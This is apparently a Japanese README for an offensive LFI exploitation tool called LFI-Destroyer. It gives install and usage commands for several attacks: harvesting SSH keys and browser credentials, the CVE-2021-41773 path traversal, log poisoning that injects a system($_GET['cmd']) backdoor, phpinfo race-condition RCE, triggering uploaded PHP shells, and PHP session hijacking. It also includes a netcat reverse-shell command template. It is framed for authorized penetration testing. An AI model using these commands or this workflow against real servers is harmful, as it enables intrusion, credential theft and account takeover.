
このプログラムは、Local File Inclusion(LFI)情報を入力するよう促し、自動的に /etc/passwd を検索し、見つかったユーザー名を使用してSSHキーまたはそのバリエーションを検索し、ローカルコンピュータにダウンロードします。また、このプログラムはCVE-2021-41773(Apache 2.4.49および2.4.50のパストラバーサルエクスプロイト)も実行します。その他のLFI脆弱性にも対応しています。
LFI-Destroyerは、認可されたセキュリティ専門家向けに設計された、包括的でモジュール式のLocal File Inclusion(LFI)悪用フレームワークです。複数の攻撃手法を1つの使いやすいツールに統合しています:
SSH & ブラウザアーティファクトファジング – LinuxおよびWindows上でSSHキー、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge、Braveの認証情報をハントします。
ログポイズニング → リバースシェル – カスタムペイロード対応の書き込み可能なログファイルを介した自動RCE。
phpinfo() 競合状態RCE – file_uploads=Onかつphpinfo()にアクセス可能な場合の完全自動LFI2RCE。
アップロードファイルトリガー – LFIを介して既にアップロードされたPHPシェルをインクルードして実行。
PHPセッション列挙 – セッションファイルをダウンロードしてデコードし、乗っ取る。
OSCP試験対応の安全なバージョンで、自動エクスプロイトは0です。基本的には非常にきれいなファザーであり、エクスプロイトを確認すると、手動でエクスプロイトを実行する方法を表示します。
⚠️ 法的免責事項 このツールは教育目的および認可されたセキュリティテスト専用です。 使用する前に、システム所有者からの明示的な書面による許可が必要です。 無断でのコンピュータシステムへのアクセスは違法かつ非倫理的です。 著者は、このツールの誤用または損害について一切の責任を負いません。
📦 インストール
# 1. リポジトリをクローン
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. 依存関係をインストール(必須はcoloramaのみ。残りはオプション)
pip install colorama
# 3. メインスクリプトを実行可能にする
chmod +x LFI-Destroyer.py
🚀 クイックスタート – モード1(SSH / ブラウザアーティファクトファジング)
python3 LFI-Destroyer.py
LinuxまたはWindowsを選択します。
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
攻撃モード1を選択します。
プロンプトに従ってLFIエンドポイントを設定します。
スクリプトは自動的にユーザーを列挙し、存在確認(WindowsではNTUSER.DATビーコンを使用)を行い、SSHキー、ブラウザ認証情報、その他の機密ファイルを再帰的にファズします。
すべてのアーティファクトは ./artifacts/ ディレクトリに保存されます。
📝 モード2 – ログポイズニング & リバースシェル
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
または対話的に実行してモード2を選択します。
動作内容:
system($_GET['cmd']) バックドアを注入します。id(Linux)または whoami(Windows)でRCEを確認します。カスタムリバースシェル:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
プレースホルダー {lhost} と {lport} はリスナーIP/ポートに置き換えられます。
🧪 BETA – モード3: phpinfo() 競合状態RCE
ステータス: Beta – file_uploads=On でphpinfo()にアクセス可能な誤設定のPHPサーバーで確実に動作します。
前提条件:
file_uploads = On(自動検出)post_max_size ≥ upload_max_filesize(自動検出)実行方法:
python3 LFI-Destroyer.py
# モード3を選択
LFIの詳細を通常通り入力 スクリプトは以下を実行:
upload_max_filesize と post_max_size を解析出力例:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 BETA – モード4: アップロードファイルトリガー ステータス: Beta – 既にPHPシェルをアップロードしていることを前提とします(例:別の脆弱性や手動アップロードにより)。スクリプトはLFIを使用してそれをインクルードし、コマンドを実行します。
2つの動作モード:
uploads/shell.php)実行方法:
python3 LFI-Destroyer.py
# モード4を選択
パスまたは 'brute' を入力 スクリプトは以下を実行:
?cmd=whoami でLFIインクルードを試行例:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 BETA – モード5: PHPセッション列挙 & 乗っ取り
ステータス: Beta – session.save_path(phpinfo()またはフォールバックワードリストで決定)からセッションファイルを読み取り、保存し、必要に応じてbase64デコードを試みます。
実行方法:
python3 LFI-Destroyer.py
# モード5を選択
セッションIDまたは 'list' を入力して列挙
例:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
セッションディレクトリのリスト(ディレクトリインデックスが有効な場合):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
すべてのセッションファイルは artifacts/session_* に保存されます。
データがbase64エンコードされているように見える場合、スクリプトは自動的に php://filter/convert.base64-decode バイパスを試み、デコード版を保存します。
🧠 アドバンスモード (-adv) 追加のLFIテクニックを有効にします:
python3 LFI-Destroyer.py -adv
⚙️ コマンドラインフラグ
モード3、4、5は modes/ ディレクトリから動的に読み込まれます。
run(config, fuzzer) 関数を持つPythonファイルを追加することで、簡単に新しいモードを追加できます。
🧰 要件
📜 ライセンス & 著者 著者: RevShellXD ライセンス: MIT Licenseの下で提供 – 認可されたセキュリティ専門家は自由に使用できます。
教育目的および認可されたテスト専用です。 このツールを使用して法律を破った場合、その責任はすべてあなたにあります。
⭐ スターを付けて貢献する
このツールが役に立つと思われたら、GitHubリポジトリにスターをお願いします。
プルリクエストや新しいモードの貢献を歓迎します – modes/__init__.py のシンプルなモジュールインターフェースに従ってください。
| フラグ | 説明 |
|---|
--os {linux,windows} | 対象OSを指定 |
--auto-depth | トラバーサル深度を自動検出 |
--wordlist FILE | ファイルパスのカスタムワードリスト(OSデフォルトを上書き) |
--userlist FILE | Windowsユーザー名のカスタムリスト(モード1) |
--beacon-file PATH | カスタムビーコンファイル(デフォルト: NTUSER.DAT) |
--custom-shell CMD | カスタムリバースシェルコマンド({lhost}と{lport}を使用) |
--log-poisoning | CLIからモード2を有効にする(対話的なモード選択なし) |
--log-vector {ua,referer,xff,header,param} | ログポイズニングの注入ベクター |
--log-header NAME | カスタムヘッダー名(vector=headerの場合) |
--log-param NAME | カスタムパラメーター名(vector=paramの場合) |
--log-files FILE | カスタムログパスリスト |
--rce-command CMD | RCE確認のテストコマンド |
--proxy URL | HTTPプロキシ(例:http://127.0.0.1:8080) |
--rate FLOAT | リクエスト間の遅延(秒) |
--output FILE | 結果をJSONに保存 |
--dry-run | 設定をテスト – リクエストは送信しない |
--no-color | 色付き出力を無効にする |